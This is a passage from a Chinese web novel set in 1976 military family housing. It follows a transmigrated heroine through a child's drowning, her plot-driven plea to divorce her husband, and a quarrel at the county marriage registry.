张红英拉着赵美艳来告别。
“那真是太感谢你们两了,让你俩客给干活了。我这个主人家倒享了福。”
苏圆圆让张红英和赵美艳都拿些卤菜回去,卤的多,又没有冰箱。
赵美艳笑着摆摆手,
“哪有吃着还拿着的道理,我走了,圆圆嫂子,明儿我在供销社里等你。”
赵美艳和张红英都不愿意拿,两人说着话离开了。
走到门边了,苏圆圆还听到赵美艳挽着张红英的胳膊问,
“我叫嫂子,你为啥叫妹子?你不是比霍团长小吗?咱这当姑娘的嫁了人,不都是按着男人的身份来叫的吗?”
苏圆圆觉得,这个赵美艳还真是有意思。
别看当上班当售货员的时候,人还挺傲气的,经常翻人白眼子,怼人心口疼。
但私下相处时,还真是个爽快的人来欢性格。
瞧瞧吧,这才一顿饭功夫,她都和张红英挽上胳膊,成为朋友了。
“郑大娘,我们也出去看看,有没有啥要帮忙的。”
郑好娘抿了下嘴,
“圆圆啊,你是双身子人,这种事,还是不去的好。”
郑好娘本来想说,在她们老家,有人家出了这种事,孕妇是不能去看的。就是自家老人去世,孕妇也不能到跟前去。总是要避一避的。
但这是在霍团长家,霍团长都没有说不让他媳妇去。
郑好娘自知自家身份,她又不是人家婆婆,硬拦着管得有点太宽,所以只是提了个醒。
“没事,郑大娘,我们老家也有这风俗。但小军是孩子,我又学过医,我想去看看,要是能帮上忙,不就更好吗?”
郑好娘本来想再说一句,刚才楚医生不是去了吗?有楚医生在,你还是不要去好,万一别再让人撞着。孕妇身子弱,万一再被啥不干净的冲撞着。
但这些话,她不敢说。
怕被霍团长两人嫌她多事,又怕儿子嫌她老封建。
对于媳妇儿要推着他出去看看,霍团长并没有啥过多想法。
在部队上,除了训练和任务,他很少和家属院里的女人孩子打交道。既不认识王队长媳妇,也不知道他家有几个孩子,更不知道王小军是个啥样的孩子。
反正在他看来,媳妇要去干啥,他就跟着去干啥。
郑好看了他娘一眼,然后紧跟着两人身后,不说话,只是不远不近地跟着。
他牢记住了**话:你是霍团长的勤务兵,霍团长的事就是你最当紧的事。
所以现在就是,他紧跟着,保持着安全距离。
嫂子要推,他跟着;嫂子累了,他就接过去推。
主打一个:你随时需要我随时在,你不需要我苟着。
傍晚七点多,这个时间,家属院里的人正是吃饭的点。
出了这种事,大家都出去看。
苏圆圆推着霍战北,跟着三三两两的人,走了十几分钟,看到一群人围着,王队长媳妇哭天抢地的声音传出来。
“我进去看看,还有救不。”
苏圆圆和霍战北说一声,就往人群里钻。
郑好无声走上前,接过了轮椅。
霍团长家的大着肚子,还
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要来看热闹。
大家就是有意见,也没人敢说啥。哪个也不敢碰她,这个一让,那个一让,苏圆圆倒轻松进去了。
王小军被人用一块门板抬回来的,此时正放在地上,身上盖了个花布烂被单子。
苏圆圆看到,门板上,王小军脚头边摆放着叠得整齐的那条烂裤子。
“唉,你看看这孩子多可怜。”
看的媳妇婆婆们说着,擦着眼泪,跟着叹息。
“你们可听说吗?这孩子是中午就掉河里淹着了,等到这晚上才知道去捞,人哪还有救?”
“可不是吗?你看刚才楚医生看过了,都说了,这人都过去几个小时了。”
“听说了吗?这孩子中午就没吃饭。她娘以为他吃过了,哥哥们认为他跟着他娘去供销社吃过了。所以才没有人去找他吃饭。”
“就是的,这要是中午有人找他吃饭,知道他掉河里,那时候找找,捞一下,兴许还有得救。”
“这孩子从小就不调皮,咋大中午还去河边玩。那个点,河边没人,他掉里面才没人知道。”
“听说是给他娘捞鱼去了,这孩子孝顺,看他娘揣着肚子辛苦,想给他娘喝点鱼汤补补。”
“就是的,真是个孝顺孩子。从小到大没少挨打,没吃过个饱饭,连身新衣裳也没穿过。可怜啊!”
“可不是吗?你看看就一条烂裤子,他也舍不得穿,下河怕刮坏了,脱了叠好放河边草地上的。要不是看到这裤子,还不知道他掉河里了呢。”
“唉,听老辈子说,这人啊,走的时候穿啥,变成鬼了还穿啥。这孩子也太可怜了,活着时穿烂裤子。这走了,连条烂裤子也没穿走。”
“没事,埋的时候给穿一身新,到下面,他就穿一身新了。”
“你看看这天,都黑了。他这样没的,爹娘老人都在,又不能过夜。十二点前一定得埋,往哪给他弄新裤子穿。”
苏圆圆在旁边听得鼻子发酸,她看到王小军的样子了,躺在门板上瘦小一个,面容倒像睡着了。
人都没几个小时了,她这样看着,也没有去治的可能了。
“招娣嫂子呢?你们谁看到招娣嫂子?她活好手快,小军娘要请她用今天新买的那块灯芯绒,给小军赶做出一条新裤子来。”
“对了,刘招娣手巧,做的快,让她来做,小军走前还能穿上。”
“在这边,我和招娣刚才回家拿针线布了。
张秋月跑过来,刘招娣紧跟着她,怀里抱一个柳筐,里面放着她平常干活用的那些针线剪刀。
第76章 媳妇要离婚,天塌了
“招娣一个人不行,太慢了,还得做个帽子,做双鞋。”
苏圆圆听着嫂子婆婆们议论纷纷,她觉得奇怪,来不及做。供销社关门买不着。
哪家有孩子没穿的新鞋新帽子,先紧急着给用一下不行吗?
她刚想悄着问一声张秋月,张秋月就走到她身边,小声对她说,
“圆圆妹子,给你商量个事。”
“你说。”
“你看今天你买的窗帘子布多,能不能卖一点,给小军做个褂子。”
张秋月有些为难地说,
“小军家里只拾掇出来一点布头子,做双鞋子,缝个帽子勉强够。可总不好让孩子穿个破褂子走吧。”
“秋月嫂子,我问你……”
苏圆圆问出了她的疑惑。
张秋月一脸惊讶地看着她,仿佛在说,你咋问这样简单的问题。
心里更是确定,圆圆别看是个农村妹子,看样真像苏班副说的那样,在家里是宠坏了,啥事都不知道。
“这年头布票都紧张,谁家都没有多余的。何况,就是哪家真买了块新布还没做,也不会给。一是布金贵,二来是不吉利。”
苏圆圆:好吧,她都穿书这么多天了,还是转变不过来现代人的思维脑子。
“嗯,我记得今天咱买布时,买了块涤卡布,给小孩子做褂子正好。”
张秋月连连点头,又有些犹豫,
“那布贵,你拿出来给小军做褂子。小军娘不一定给你那么多钱。”
给不给无所谓,一块布罢了。算我送给孩子穿了。
苏圆圆想这样说来,但她张了张嘴,还是没说出来,她反复提醒自己,这是1976年,她要真这样说,别人会怎么想她?
“但你放心,王家肯定会给钱,这样的事,不兴让人垫钱的。”
“郑好——”
苏圆圆让郑好回家拿布。
这时候,男人们开始搭临时棚子,把人放棚子里。女人们把油布铺地上,直接坐在上面撕布缝东西。
还有人回去,把小军在家里的东西都拿出来,一一收拾好,打算给他带走。
还有人去买棺材,不管咋说,得给孩子弄个薄皮棺材啊。
又派男人们去小河堤上去挖坑。
郑好很快回来了,跟他一起来的还有他娘。
郑好娘怀里抱着布,和苏圆圆打好招呼,跟着张秋月去那边,和妇女们坐下一起缝衣裳鞋子。
“哎哟,她婶子,你这针线活可真好,一点也不比招娣差。”
“可不是,看这针眼,婶子,你在老家给人做过衣裳吧?”
“也就是瞎做。俺们村离镇上远,村里人做衣裳不方便,俺帮着做,时间长了就做的越来越好了。”
“婶子,你可真谦虚,你这针线,一看就不是随便做,这是跟着厉害的师傅学出来的吧?”
“也没跟谁,小时候跟着俺奶奶学过几年。俺奶奶年轻时在官家织造纺里当过绣娘。”
“哎哟,婶子你这老厉害了。以后你可得教教我。”
……
苏圆圆听着那边女人们你一句,我一句,围着郑好娘一边撕布,做衣裳,一边说话。
嗯?郑好娘还有这样好的手艺?
苏圆圆眼睛一亮,我画衣裳样子,让郑好娘和刘招娣做样衣,那我以后是不是就可以开个服装店,甚至开个服装厂了。
苏圆圆摸了一下自己的肚子。
还得有四五个月呢。这孩子生下来,她就得想法挣钱了。
别看男人现在工资高,婆婆家几口子也都拿工资。
可是,等两年后,一旦分单干,允许私人办厂下海经商。
到那时候,一家子的工资就不够看了。
何况她还有两孩子,以后花钱的地方多了去了。
嗯,后天就去考试了,她得先考上,去当军医,好好工作两年,以后碰到好时机再办厂经商挣大钱。
对,以后她还得买房子,买大房子,买别墅住。
上辈子没享到的福,这辈子都得好好享受。
你看看,像小军这样,小小一个孩子,一辈子没穿上一条合身的裤子,人就走了。
这样活一辈子,多憋屈!
可是,
她穿书成了难产而死的原配。
这剧情,她能改变吗?
一直到晚上躺在床上,苏圆圆还在翻来覆去,想着她看的比较仔细的前一百多章,都写了哪些情节。
她得认真挼一遍。
胖妞原配揣崽来随军,男主做任务归来,登记结婚,小两口在分配的房子里过日子。这一点没变。
但原书中夏千燕要到原配生孩子前三天,才来到军区找男主,追夫火葬场。这一件事提前了。
夏千燕在原书中,也是先住到了隔壁,这一点并没变。
对,苏圆圆想起来,原书中,夏千燕在隔壁,经常偷看男主洗澡。
一想到原书作者用了很多篇幅描写,隔壁一个**媳妇的鳏夫,带着两刚出世的孩子,被隔壁一个资本家大小姐盯上。
今天送一碗汤,明天又送一碟子菜的。
而且每次都是手切烂了,缠着纱布,说这是她第一次做这个汤,这个菜的,做了几遍才做成这样,希望哥哥不要嫌弃,一定要尝一尝。
每次又都一不小心滑倒在人家
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怀里,要么就是自家衣裳崩掉一粒扣子。
这还不算,甚至经常爬墙头,偷看人家鳏夫在院子里冲澡,有一次还一不小心,失足掉进人家院子里,嗯,正好跌在人家刚洗好澡的怀里。
然后薄薄的衣裳恰好又湿在了正好的地方,嘿嘿……
要么就是雷雨夜,在隔壁小声地叫哥哥,人家好怕怕。
反正是各种作,各种勾搭,各种撩拨。
苏圆圆皱眉,
看看,现在书的总体脉络没有变,大花摔断腿,王小军淹死这样的小细节也没变。
这本书设定没变,作者在继续写书。
那她这个炮灰原配怎么办?
必须得走剧情,难产而死吗?
苏圆圆想着,不管咋说,这是一本资本家大小姐追夫火葬场的年代文,资本家大小姐的各种撩,男女主婚前婚后的幸福生活,这条主线应该不会变。
媳妇没死,就写男女主感情黏糊拉扯,男主不就成了出轨了,女主不就成了小三了。
所以,作为工具人,她这个炮灰原配是一定得下线的,不然,男女主感情戏没法开展。
实在不行,她干脆搞死女主呢?
苏圆圆摇头,那书不就崩了。
要是书都崩了的话,这书里的人物不就全没了,那她这个穿书的,也会没了。
唉,
弄死女主,书崩了,她会死。
不弄死女主,女主就会弄死她。
即使女主不弄死她,作者大大走剧情,也会把她写强制下线!
苏圆圆继续在床上烙饼,这想活着咋这么难呢。
实在不行,
苏圆圆突然对身边一直僵着身子没动的霍战北说,
“霍战北,要不明天咱不去登记结婚,咱去离个婚吧?”
啊?
离婚
霍战北傻眼了。
一张小床,他媳妇那体格子占了一大半,他都尽量靠墙不占地方了。
他媳妇还不好好睡,一个劲翻来翻去的,每一下都在他身上擦过来,蹭过去。
弄得他火在身体里蹭蹭烧。
可他又不敢贸然伸手抱媳妇。
因为他听到他的小胖媳妇一边翻身,一边叹气。
小胖媳妇不愿和他说,他就等,一直在等他小胖媳妇翻累了,想通了,和他说话,他就给她好好解决难处。
霍战北一直认为,他的小胖媳妇一定是因为白天王小军的事难受。
谁知道,他家小胖媳妇不翻身了,突然开口,竟然是要离婚。
感情,刚才他的小胖媳妇一直在烙饼,
想的竟然是,要和他离婚???
天塌了!
第77章 别咬我,疼
剧情居然改不了!她不想死啊!
而且还是那种最难受的死法:难产而死?
苏圆圆心慌慌,怕得不行。
自穿书这些天来,和夏千燕抢男人的那个劲,突然消失了。
今天王小军的死,给了她当头一棒,这是一本书,她只是书中的一个必死的工具人。
她就是能斗得过女主?
她一个剧中人,又能拿啥能和作者大大斗呢?
“霍战北,我要离婚,我不想当你媳妇了。”
说着,胖胖的身子还尽量往床边又挪动了一下,仿佛霍战北是啥细菌一样。
苏圆圆想着,不管她是难产而死,还是离婚,反正只要她离开男主,让男主恢复单身,男女主就可以正常腻歪拉扯。
作为一个小炮灰的一个下线小细节,微修改一下,应该没啥影响。
“媳妇,我哪里做的不好,你说,我改。”
霍战北伸出胳膊,想要搂一下媳妇。
苏圆圆又后缩一下,他的手僵住了。
“媳妇,你现在是不是那个啥婚前综合症?还是孕期综合症啊?”
霍战北想起,他妈临走的时候,给他反复交代过,说女人嫁人,还有怀孕,都会有一些脾气的突然变化。
让他细心着点,万事顺着点圆圆。
等她孩子生下来,一家几口过起日子来,就会好了。
霍战北没想到,他媳妇还真得犯了他妈说的那些病。
平时乖乖小狗狗一样的小胖媳妇,突然变成了炸毛小猫。
“我啥症也没有,我说的是认真的。霍战北,咱明天不去打结婚证,咱**好不好?”
“乖,咱都没有结婚证,咋**啊?”
“咱咋没结婚证?在苏家村,我爹不是去公社给咱办了结婚证吗?”
苏圆圆这会子才发现这个问题。
明明在苏家村,苏圆圆的村长爹亲自去公社给闺女办了结婚证。
他们明天怎还要去办结婚登记呢?
“媳妇,你不知道,在苏家村……”
霍战北耐心给他小胖媳妇解释。
几个月前在苏家村,他老丈人是去公社,给他们办了结婚证。那是普通的农村青年结婚手续。
但他是军人,必须得经过部队审查,通过再去办结婚证才是军婚。
“那——”
苏圆圆突然闭嘴。
她知道自己又犯了现代思维的毛病。
这可是1976年,结婚登记这种事,都是村上写证明,到公社去办的。当事人不去,村长和家长去都能办来。
而且这时候,可没有联网这种事,所以这个年代,有一些人就钻这个空子。
有的农村夫妻,结婚一辈子也没打过结婚证。
有的人,都能和几个人结婚,打几个结婚证。
“我不管,我反正要离婚。”
苏圆圆正色说,
“霍战北,我不是你媳妇,我要离婚。我告诉你,我肚子里揣的崽是野男人的,不是你的,你的毛病根本没治好,都是我骗你的。”
咦,
他的小胖媳妇这是冲着啥了?
咋胡言乱语了呢?
霍战北一把抱住苏圆圆,轻轻拍她后背,像挼一只炸毛的小猫一样,
“乖,咱不闹啊。你有啥心事,给我说,我都给你办。”
办?
咋办?
苏圆圆眼圈红了,
“霍战北,我要和你说,我不能和你结婚,不然我会死的,你信不信?”
小胖媳妇眼里的悲伤是真的,平时那么鲜活明媚的一个人,突然用这样的眼神看着他。
霍战北心里其实有些慌。
其实,从最初在苏家村被设计那一夜,他是愤怒的。但他也是有些同情这个农村小胖妞,毕竟她和自己一样,都是被人设计的。
不管有什么样的情绪,作为一个男人,他都会负责的。所以他才会和小胖妞在苏家村办婚事。
小胖妞揣崽来寻亲,他也是愿意认的,觉得不管小胖妞做了啥,揣了哪个男人的崽,都是她娘设计的,她既然寻了来,他既然娶了她,自然会认她这个媳妇一辈子。
如果说最初的认下,是责任。
但相处这些天,他承认,他先是被小胖媳妇的皮肤,香气,声音所吸引。
甚至,他都觉得,他是因为年纪太大没娶过媳妇,所以嘴上不说,其实骨子里应该是很馋女人的。
毕竟他只是不能生,又不是不正常的男人。
普通农村男人二十岁就结婚了,像他这样二十六岁的老男人,孩子都能打酱油了。
有这么香软可爱的小胖媳妇陪在身边,他哪里能把持得住。
所以,他承认,他真心馋他媳妇。
可是,
再相处下来,他发现,他不光馋他小胖媳妇的身子,他还真心喜欢他小胖媳妇的性格,为人处事,还有能力,对,就是各种能力,比他在京市长大的那些女同学都厉害的能力。
为啥他的小胖媳妇,一个乡下姑娘,都没上过几天学,怎会有这么高的素质呢
这是他的怀疑,也是他不敢去深想的地方。
但是,不管咋样,他媳妇就是他媳妇。
可是,
现在媳妇说不愿意跟他过了,要和他离婚。
“霍战北,咱万事好商量,咱离个婚,以后还是好朋友,好不好?”
苏圆圆柔着声音撒娇,
“你也不想看着我死,对不对?我真不骗你,你不和我离婚,我真的会死的。”
霍战北懵了,他可不认为,他的小胖媳妇是那种会拿这种事开玩笑的人!
咋和他结了个婚,他的小胖媳妇就得死呢?
“媳妇,你别怕
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啊。你不要听人家说,这姑娘结了婚,就再没有自己了,这种话,你千万别信。”
霍战北觉得,他找到答案了,一定是他媳妇害怕结婚后失去自我。
像家属院那些女人一样,只能生孩子做家务,甚至被男人打。
“媳妇,我说过,就是咱两结过婚了,你生了孩子,以后你也是想去做啥就做啥,我不会拦着你。”
霍战北又收紧了一下胳膊,
“我们霍家从来没有把媳妇娶进家圈起来的事,在我们霍家,都是媳妇当家。”
唉,
苏圆圆觉得,她真是鸡同鸭讲了。
离婚这条路,看来她也走不通。
霍战北真不愿意离,她也不能强拉着他去离。
跑
要不,她偷跑回老家可行?
苏圆圆想了一下,又垂头丧气了。
她跑回老家也没用,霍战北只要有她这个媳妇在,就不能和夏千燕这个女主搞暧昧,走剧情。
唉,头大。
贼老天,你为啥这么搞我啊?
为啥要我穿这个破书啊?
咦,
苏圆圆内心狂呼后,突然怔住了。
对啊,
谁安排了她穿书啊?
她怎么忘了这么重要的bug呢?
她又不是原主,她作为一个穿书妹子,还是一个团宠的穿书妹子,她应该有改变剧情的能力吧?
啧啧,苏圆圆觉得她好像真相了。
她要是成了,这本书就成了一本穿书年代军婚文;她要是失败了,夏千燕成功上位了,这书就是一本重生年代军婚文。
嘿嘿,
这么一想,她必须得成功啊!
“霍战北,我爱你。”
苏圆圆突然转头,啪,在霍战北嘴上亲了一口,
“你说,你是不是只爱我一个人,这一辈子,永远只有我一个媳妇,你永远不会看隔壁夏千燕一眼?”
上一秒,死活要离婚!
下一秒,不但亲了他,还要他保证永远只爱她一人。
霍战北?
看来他的小胖媳妇真得了他妈说的那种病,婚前患得患失没有安全感的病。
没有说话,也没有点头,霍战北直接用行动回答了他小胖媳妇的问题。
“唔——你咬我,疼——”
唇上突然传来的温热和疼痛,苏圆圆瞪圆眼睛,心里骂着,霍战北,你属狗的啊,你亲就亲吧,咋还咬上了?
“不疼你不长记性。”
霍战北真像狗一样,啃着她的唇,让她痛,又不那么痛的样子。
“看你还说要离婚不,以后这两个字,永远都不要说。”
霍战北心想,刚才你可要吓死我了。看你以后还动不动就吓唬我,说要离婚不。
咬你几下你就说疼了,刚才你可是差一点把你亲亲老夫吓心脏骤停了,知道不?
第78章 霍团长太紧张,又上厕所了
五月的风,带着燥热,清水县民政科门前和旁边的照相馆,挤满了三三两两或坐或站的人。
“这么多人要结婚吗?”
苏圆圆三人下了吉普车,郑好把轮椅搬下来,背霍战北坐上去。
因为霍战北腿伤了,组织特别拨了一辆吉普车送三人来县上登记。
下了车,郑好推霍战北在后,苏圆圆背着个军用挎包走在前面。
民政科和县里所有科室一起,就在县委办公大院内,一圈红砖瓦房。
进了大院,苏圆圆离老远就看到挂着民政科牌子的门前挤一群人。
“嫂子,年轻的胸前戴着花的应该是要照相办结婚的,旁边陪着的应该是媒人和家里人。”
郑好仔细打量了一下人群,他经常到县委大院办事,平时也没见民政科门前有这么多人啊。
仔细一看,大多数人都是挤在照相馆门前的,
“今天来照相的人多,估计这几天参加考试招工的人,来这里照相的多。”
“郑好,你说的是明天的家属安排工作招考会吗?”
苏圆圆记得,她填报名表的时候,是婆婆带她去的,她没在上面贴相片啊。
“报名表不贴相片,等明天考试结束,考上了,就得填表发工作牌、工资本。上面都是要贴本人照片的。”
郑好挠挠头,
“县里就两照相馆,这里主要是照结婚照,在县委大院里,价格比街道办的那一家便宜。所以大家都跑到这里来照相了。”
苏圆圆啧啧,心想着,这些年轻人都是为了明天考上做准备,可是明天要是考不上,这该多失落啊。
“圆圆,我们要不要去——”
霍战北刚想说要不要去另一家照相馆照,这里人多,圆圆别等急了。
“没事,我刚坐了车,有些晕车,正好坐下休息一会,缓一缓。”
苏圆圆刚说完,郑好就接了话,
“团长,结婚照只能在这里照,民政局有统一规定。”
看了一下他们家团长的脸色,郑好又补充了一句,
“我昨天提前打听了登记的所有流程。”
啧啧,瞧瞧,多贴心啊。
苏圆圆给了郑好一个赞赏的眼神,郑好真是她见过最优秀的勤务员了。
这要是在现代,绝对是五星级员工,主打的是又给办事,又给情绪价值。
“团长,嫂子,你们先在这树荫下等一会。”
郑好把轮椅推到院里一棵大梧桐树下,小跑着挤进人群去了。
苏圆圆打量着,民政科院墙是夯土和红砖结合的,墙头上还长着狗尾巴草,墙上用石灰水刷白,红颜料写着几行标语。
婚姻自主、男女平等;为**搞好婚姻登记工作,团结起来,争取更大的胜利……
苏圆圆正看的出神,郑好小跑着回来,把一个纸条递给霍战北,
“团长,我去照相馆排了号,我们前面有八对需要照相的,有两对是结婚的,一会你和嫂子照好相,直接去隔壁门民政科,就能登记办证。”
霍战北把纸条递给苏圆圆,
“媳妇,我要去上个厕所,你就在这树下荫凉处台子上坐一会,等我。”
上厕所?
苏圆圆心想,在家出发时,霍战北不是刚上过厕所吗?
这才一个多小时,又要上厕所?
不会是第一次结婚,太紧张了吧?
“你去吧,我没事,我就在这边坐着等你。”
郑好推着霍战北走了,苏圆圆往前走了一下,靠近登记不远处,有个土台子,有不少老乡坐在那里歇脚。
男女老少都有,还有老乡拿出东西吃,大多是家里烙的饼子、还有煮的熟鸡蛋。
也有讲究的,拿出肉包子、甚至还有白面馒头夹大肉片子。
“他婶子,你吃。”
苏圆圆看到一个花白头发笑得一脸皱纹的老妇人,把一个大白面馒头夹肉使劲往一个头上簪花的老太太手里塞,
“两孩子的事多亏了你撮合,他婶子,你是俺家的大恩人,你吃。”
“树生娘,你可别这样说。你说这话我心里愧得慌。”
媒婆接了馒头放手里,没好意思吃。
说起来,她这桩媒说的真是闹心。
女方是村长家闺女,男方是村上的木匠,这媒都是三年前说的了。村长家闺女长得丑,性格泼辣还有点懒。人家木匠家儿子赵树生上过学,还会木匠手艺,小伙子长得也好。木匠家一儿一女,闺女还在供销社上班,日子过得在村上也算是好的。
这媒本是村长媳妇先找她去说的,人家木匠家老两口本不想愿意,可儿子赵树生从小和村长闺女一起长大,上小学还坐同桌。赵树生还挺乐意的。
这媒也就说下了。
村长媳妇只说闺女还小,想在家里再过两年。其实明眼人谁都知道,村长家儿子
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多,条件差,想着多在闺女女婿身上刮点油水,好给几个儿子说媳妇。
这三年,赵木匠家父子,没少给村长家干活。
”你看看你,他婶子,你愧啥?要不是你给村长家说那话,村长媳妇能让俺提前娶儿媳妇吗?“
树生娘更谦卑了,
”打说媒,树生他爷俩都给村长家干两年半活了,他婶子你要不说话,他爷俩还得再干六个月。“
赵木匠父子给村长家这一干就是两年多,地里的活全是赵树生干,这两年村长家里的家俱都换了个遍。
按三年前定的时间,应该在这个月订婚下彩礼,六个月后成亲办婚礼。
没想到,突然就提前了半年,树生娘自然是高兴,就是时间太急,村长闺女又要的东西多,钱上太紧了些。
这话说的,媒婆脸色一变,差一点没崩住,把实话给说出来。
其实,真相有些难听,三个月前,村长闺女竟然偷偷跟知青点的一个海市知青好上了。
不但偷偷好上了,还帮着那知青弄到了回城名额。
结果人家知青回城了,把她摞下了。
村长闺女在家寻死觅活,村长媳妇才知道闺女出事了。
还是村长当机立断,昨天晚上就把她这个媒婆叫家去,让她晚上去给赵木匠通个气,今天就让两年轻人来照相登记,三天后就直接办婚礼。
媒婆到这会子,心里都还打着鼓呢?
要知道,村长可是给她说了,千万不能把真相告诉木匠家。
反正在村里,村长不发话,谁也不敢跑去告诉木匠家这事。
一想到,等以后木匠家知道了真相,媒婆心里就不好受。
何况,昨儿木匠家问,咋突然改了时间,她还一个劲说,村长家三儿子要说亲,这闺女
是老二,总得姐姐嫁出去,才能给弟弟说亲事。
就用这样的借口给糊弄过去了。
木匠老两口还挺高兴的。
“唉,俺也没想到村长家能要那么多钱,一百五十块钱的彩礼,还要三大件,真是苦了你家了,这要不是你家闺女在供销社有工资帮衬着,你老两口可能难为死。”
媒婆拿着馒头,真心吃不下去。
“都是庄户人家,过日子不容易,谁家娶儿媳妇不得扒一层皮。钱没有了,只要有人,钱再挣呗。”
苏圆圆?
哦,原来这是个媒婆子!
第79章 才**男人就改嫁,啊呸
“下一个,快进来,轮到你照相了!”
苏圆圆看到,照相馆门帘子一掀,一个戴眼镜的照相师傅吼了一嗓子。
刚照好的一对朝着苏圆圆走过来,男的穿着中山装,女的穿着花布褂子,男人脸上带着拘谨讨好的笑,女的一脸不高兴。
女人先是一扭身子走了,男人紧跟在后面追着。
苏圆圆缩回目光,继续坐着等。
十几分钟后,眼前阳光被人挡住了,一抬头,刚才闹别扭的那对年轻人站到了她面前。
男人站到苏圆圆旁边,用胳膊擦了一下台子上的土,让女的坐下。
树生娘一看儿子儿媳妇回来了,立马走过来,揭开提着的篮子上的布,拿了一个熟鸡蛋递给儿子。
赵树生赶紧剥掉皮,一脸堆笑地递给新媳妇,
“秀芳,吃个鸡蛋。”
“不吃,噎**。”
赵秀芳一脸厌烦。
树生娘一看儿子被拒,立马从篮子里拿出一个白面馒头,夹着肉片子,一脸堆笑地往儿媳妇手里递,
“儿媳妇,你吃肉,香得很。”
“坐在这,吃这东西也不嫌掉价,就不能下趟国营馆子?”
叫秀芳的准新娘一把打掉婆婆手里的馒头,一扭腚转向了苏圆圆这边,
“胖子,你往一边挪一下,吃那么胖也不自觉,一个人占两人的空。你以为这是你家,坐得四仰子八叉的。”
胖子?
还骂她?
苏圆圆觉得这个叫赵秀芳的新媳妇真是毛病不小。
看这样子,是对这桩婚事不满意。
你不满意,你不结啊?还收人家那么多彩礼,又不乐意嫁。拿别人撒啥气!
“我胖咋了,吃你家大米了?我一人占两位咋了,这土台子也不是你家的啊!”
苏圆圆可不惯着这样的人。
“哟,看不出来啊,你这大着肚子来干啥的?是来找工作的?还是来照相结婚的?”
赵秀芳一肚子气憋着,这会可找着了发泄口,
“我看你也不像是来找工作照相的,就你这肚子,是个二婚吧?”
六七十年代的人观念还很保守,一般夫妻打死都不离婚,二婚是要被人戳脊梁骨的,更何况还大着肚子二婚?
赵秀芳这话刻薄又尖锐,引得旁边人都看向苏圆圆。
“这肚子看着就不小,快生了吧?谁二婚会娶个快生的婆娘?”
“可不是吗?揣着别人家的娃,嫁过来,这娃不就成了拖油瓶了?”
“这谁家儿子**,让儿媳妇揣走孙子改嫁啊?”
“你看看她身边,就她自己,连个跟着的人都没有。说不定是男人**,她守不住,又勾搭了别人,私自跑出来跟人结婚的。”
……
旁边的人交头接耳,议论纷纷。
小寡妇?
二婚改嫁的?
苏圆圆听得都气笑了。
“不是我一个人说你,你听听人家咋说的。”
赵秀芳一心想着,回城的知青恋人,一准是有事耽搁了,他早晚会回来找自己的。
爹娘非逼着她,嫁进赵木匠家,一家子泥腿子,这一辈子她都当不成城里人了。
她心里一万个不愿意,可她胳膊拧不过大腿。
如今看到苏圆圆一个人坐在这里,既没个娘家人,也没个婆家人跟着,就连要娶她的男人也没在身边。
心里没来由开心了一些,她就爱看别人比她过得差。
“你男人死那么惨,你都不能等孩子生出来,就改嫁二婚,你还有脸坐这里,要是换个人,早一头扎水坑里淹**。”
看她还挺着个大肚子,就更想踩一脚了,这样能让她受伤的心好受一些。
何况刚才在厕所里,听那几个姑娘说的那些话,她更是鄙夷身边这个胖女人了。
那几个姑娘说:这个胖女人的男人给村里放牛,不小心被牛踢**。男人过世才两月,她怀着肚子就要再嫁人,真是人不要脸的女人。
“你说谁男人**?你男人才**。你认识我不,你就胡说?”
苏圆圆本来并不想理这个女人,心想怼两句还回去就算了。
谁知道这女人蹬鼻子上脸,竟然骂她男人**。
今儿她是来照相登记的,被人这样咒,实在太晦气。
苏圆圆火上来了。
“那个胖同志,对不住啊,我媳妇她——”
赵树生一直在旁边紧张地搓着手,他刚才就想要拉自己媳妇,不要媳妇这样说人家。
可他不敢,因为他知道,今天媳妇心里不痛快。
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这会子,看媳妇做的实在过份,引得人家胖同志恼了。
他才怯生生上前劝。
啥是那个胖同志?
有这样叫人的吗?
苏圆圆觉得这个男人,真是又窝囊又傻。
啪,
一记耳光打在男人脸上。
赵秀芳粗眉倒竖,
“滚一边去,窝囊废,没看见人家骂我。你是谁男人,都不知道帮我吗?”
旁边的树生娘嘴唇哆嗦了几下,终究没有劝出来。
只是心疼地拉过儿子,扒个鸡蛋,让他在脸上滚几下。
这来县上照相登记的,回去儿子脸上有巴掌印,要是让村上人看到了,不知背地里会说多少难听的话。
媒婆看到这一幕,吧唧了一下嘴,也没说出话来。
还能咋滴,这霸道儿媳妇娶到家,以后有得这一家子老实人受。
可钱都花出去了,也要不回来啊。不管咋滴,总得留个人吧。
再说了,这一村子人都姓赵,有村长在上面压着,赵木匠一家子也翻不出村长的手心啊。
一想到以后这赵木匠家的日子,马上就要鸡飞狗跳了。
媒婆不语,把手里的白面馒头悄没声儿放进树生娘篮子里,转身迈着小脚,悄悄走了。
觉得刚才幸好没吃白面馒头夹大肉,不然,她这心里更不得劲了。
赵秀芳打过自家男人,看婆婆连个屁都不敢放,更加放纵了,转头冲着苏圆圆就骂,
“死胖子,你说谁男人**?我今天可是来登记结婚的,哪有你这样红口白牙咒人家的。”
秀芳像被踩了尾巴的猫,一下子跳起来。
她烦男人,不想嫁是一回事。登记当天男人被人家咒**,又是一回事。
这也太晦气了。
“死胖子,你男人**,你就恨不得全天底下的女人都和你一样死男人,是不是?”
这一句话就拉仇恨了。
旁边的人纷纷不愿意了,都开始指责苏圆圆。
“你这人也真是的,和人家能有多大仇?哪有登记当天就咒人家死男人的?”
“看她吃那么胖,在婆家一定没受过苦。她男人一准对她不差,如今**,她揣着孩子一扭头就嫁人,这么狠心的人,能是啥好人啊!”
……
第80章 你作风不好
苏圆圆真是觉得又好气又好笑,她就自己坐在这里等人,咋就惹了这样的无妄之灾。
“我不是二婚,我男人上厕所了。”
依着她的脾气,她真想直接上手抓花这个叫赵秀芳的女人的脸。可惜怀着孩子,不能打架。
但她不能每一个人都骂回去,索性说开了。解释一下,这些人自然知道她们想错了。
不是二婚?
人家男人上厕所了?
众人一怔,纷纷不好意思扭过脸。
哎哟娘呀,她们这是错怪胖同志了,要真是这样,那刚才那些话,岂不是咒人家男人死。
旁边立马就有两婶子道歉,
“对不住了,这位胖同志,
我们听错了,给你道个歉。”
苏圆圆真不想理这些人,索性也不回话。
“你是头婚啊?”
赵秀芳尖着声音叫起来,
“瞧瞧,你这思想还怪先进来。还没登记就怀上了?”
哎哟,众人一听,脸色各异。
这二婚顶多也就是个没良心,可这没结婚就怀上了,那就是作风问题了。
苏圆圆也知道这个时代,作风问题,那可是真能要人命的。
这个叫赵秀芳的新媳妇,也太过份了。和人没冤没仇的,咋能一上来,就给人上纲上线,想要人的命呢?
这就不是简单的坏了,这是真心恶毒。
